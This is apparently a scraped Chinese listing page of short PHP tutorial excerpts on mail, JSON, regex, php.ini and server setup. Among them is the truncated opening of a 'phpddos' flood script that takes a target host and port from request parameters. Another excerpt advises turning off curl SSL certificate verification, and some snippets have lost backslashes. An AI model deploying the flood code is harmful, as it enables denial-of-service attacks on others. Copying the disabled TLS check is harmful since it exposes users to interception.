Time of Update: 2017-01-13
然後隨即產生一個0到最大數之間的一個數,通過迴圈查看它屬於那個區間,返回該區間的key。 代碼如下複製代碼 $prize = array( 1 => 3.5, //3.5%機率 2 => 2.5, 3 => 6, 4 => 2, 5 => 42, //42%機率 6 => 36, 7 => 2, 8 => 4,
Time of Update: 2017-01-13
網域名稱由各國文字的特定字元集、英文字母、數字及“-”(即連字號或減號)任意組合而成, 但開頭及結尾均不能含有“-”,“-”不能連續出現 。
Time of Update: 2017-01-13
利用php mail函數發送使用mail()函數發送郵件,就必須要有一台不需要驗證的SMTP伺服器。這樣的話配置工作會多一點,但是使用的時候就比較省事了,幾行代碼就可以 代碼如下複製代碼 $to = "test@163.com";$subject = "Test";$message = "This is a test mail!";mail($to,$subject,$message);
Time of Update: 2017-01-13
雖說最新的 PHP 5.4 已經良好支援 JSON 中文編碼,即通過 JSON_UNESCAPED_UNICODE 參數,例如:json_encode("中文", JSON_UNESCAPED_UNICODE)對於早前 PHP 版本,處理不轉義中文字元的 json 編碼PHP 和 JavaScript 互動其實很方便,PHP 原生也提供了對 JSON 格式的支援。主要包括 JSON 編碼和解碼兩個函數:json_endoce:
Time of Update: 2017-01-13
有一個很久的工程今天要莫名其妙的重新啟動了,這個工程是xampp的環境——不知道xampp?你Google一下吧,這個我不多說了。一開始輕車熟路,apahce配置,php配置……一路下來沒有任何問題。開始訪問吧,問題就來了,很奇怪預料之中可以啟動並執行頁面,卻出了個預料之外的亂碼問題。第一個想到的是,apache的預設字元集,於是在apache的語言擴充設定檔中加入:AddDefaultCharset
Time of Update: 2017-01-13
代碼如下複製代碼 $str = '中華人民共和國123456789abcdefg';echo preg_match("/^[u4e00-u9fa5_a-zA-Z0-9]{3,15}$",$strName); 運行一下上面這段代碼,看會有什麼提示資訊? Warning: preg_match(): Compilation failed: PCRE does not support L, l, N, P, p, U, u, or X at
Time of Update: 2017-01-13
錯誤提示php Notice : Use of undefined constant分析這些是 PHP 的提示而非報錯,PHP 本身不需要事先聲明變數即可直接使用,但是對未聲明變數會有提示。一般作為正式的網站會把提示關掉的,甚至連錯誤資訊也被關掉解決辦法 關閉 PHP 提示的方法 搜尋php.ini: 代碼如下複製代碼 error_reporting = E_ALL 改為: error_reporting = E_ALL & ~E_NOTICE
Time of Update: 2017-01-13
require 的使用方法如 require("MyRequireFile.php"); 。這個函數通常放在 PHP 程式的最前面,PHP 程式在執行前,就會先讀入 require 所指定引入的檔案,使它變成 PHP
Time of Update: 2017-01-13
php.ini這個參數memory_limit引起的,因為對它的設定不夠在所以引起了上在的問題,下面我們來看看幾種解決方案方法一,用程式來實現 在你的php代碼中增加以下命令列即可 代碼如下複製代碼 ini_set('memory_limit','128M'); 這種需要你的伺服器未禁止修改,一般的虛擬空間是不可以操作的。方法二,利用.htaccess 來做,這種可行性超高。 在你的.htaccess裡加入
Time of Update: 2017-01-13
首先我們來看看關於php如何運算元組中的空值的多種方法implode(); 此函數可參考http://www.111cn.net/phper/29/2dc95be9381b4bb1753083c09fda1a36.htm用implode()將數組輸出為字串,判斷輸出的字串是否為空白。初看上去似乎是個不錯的方法,可惜跟上一點一樣,對於二維以上數組就不行了。舉個例子: 代碼如下複製代碼 $arr= array(array(),array(),array());$str =
Time of Update: 2017-01-13
代碼如下複製代碼 include("cn.php"); //資料庫連接類,這裡不說了自己去找找吧。$Db = new Db();$sql ="select * from 表名 where isnew=1";$query = $Db->query( $sql );$rs = $Db->fetch( $query ,0);$i=10000;foreach( $rs as $v => $vv ){ if(
Time of Update: 2017-01-13
在PHP中,通常一個字串被定義在一對引號中按照下面的方法操作: 代碼如下複製代碼 $out = str_replace(array('rn', 'r', 'n'), '', $out);PHP 提供三種定義字串的方法:單引號、雙引號、本地文檔(英文叫做 here document 或者 heredoc)。 單引號:使用單引號是最高效的方法,因為 PHP
Time of Update: 2017-01-13
使用PHP的mysql方法PHP從一開始就提供了MySQL的函數庫。很多程式都依賴於mysql_connect、mysql_query、mysql_fetch_assoc等等,但是PHP手冊中建議:如果你使用的MySQL版本在4.1.3之後,那麼強烈建議使用mysqli擴充。mysqli,或者說MySQL的進階擴充,有一些優點:有物件導向的介面prepared
Time of Update: 2017-01-13
癥狀:php curl調用https出錯排查方法:在命令列中使用curl調用試試。原因:伺服器所在機房無法驗證SSL認證。解決辦法:跳過SSL認證檢查。 代碼如下複製代碼 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 癥狀:php curl調用curl_exec返回bool(false),命令列curl調用正常。排查方法:var_dump(curl_error($ch));返回:string(23)
Time of Update: 2017-01-13
首先,從PHP官方網站:http://www.php.net/downloads.php下載PHP壓縮包,飄易在寫這篇文章的時候,最新版本是PHP 5.2.10。因為是win2003環境,我們下載Windows Binaries下的 “PHP 5.2.10 zip package [10,242Kb]” 即可。下載後,解壓縮至 C:php 目錄裡(建立php目錄)。
Time of Update: 2017-01-13
利用百度搜尋一下午phpddos代碼,代碼如下 代碼如下複製代碼 <?phpset_time_limit(999999);$host = $_GET['host'];$port = $_GET['port'];$exec_time = $_GET['time'];$Sendlen = 65535;$packets = 0;ignore_user_abort(True);if (StrLen($host)==0 or StrLen($port)==0 or StrLen(
Time of Update: 2017-01-13
1、下載memcache for windows。下載地址:http://jehiah.cz/projects/memcached-win32,推薦下載binaries版本,解壓(本例中解壓到c:memcached)。2、在命令列狀態下輸入: c:memcachedmemcached.exe -d install 。至此memcached已經安裝成windows服務3、在命令列下輸入: c:memcachedmemcached.exe -d start
Time of Update: 2017-01-13
在winodws server 2003 上利用iis6.0搭建web伺服器,採用php-cgi模式運行php指令碼,提示如下錯誤!■環境:windows server 2003 、 iis6.0 、 php5.3.2 、 fcgi_1.5_x86■ 錯誤提示: FastCGI ErrorThe FastCGI Handler was unable to process the request.----------------------------------------------
Time of Update: 2017-01-13
安裝 FreeTDSFreeTDS 是 Linux/Unix 下一組軟體開發包,用於實現微軟 SQL Server 和 Sybase 的 Tabular DataStream protocol 協議。利用 FreeTDS 可在 Linux/Unix 下串連 SQL Server 和 Sybase 資料庫。可前往FreeTDS官網看詳細介紹。下載並安裝 FreeTDS進入Linux伺服器,通過如下命令直接下載到伺服器進行安裝,以 freetds-0.95.92.tar.gz 為例。# 下載
Time of Update: 2017-01-13
PHP 郵箱驗證Regex 代碼如下複製代碼 preg_match("/^[0-9a-zA-Z]+@(([0-9a-zA-Z]+)[.])+[a-z]{2,4}$/i",$email ); PHP 郵箱驗證Regex樣本 代碼如下複製代碼 <?phpfunction isEmail($email){ if(preg_match("/^[0-9a-zA-Z]+@(([0-9a-zA-Z]+)[.])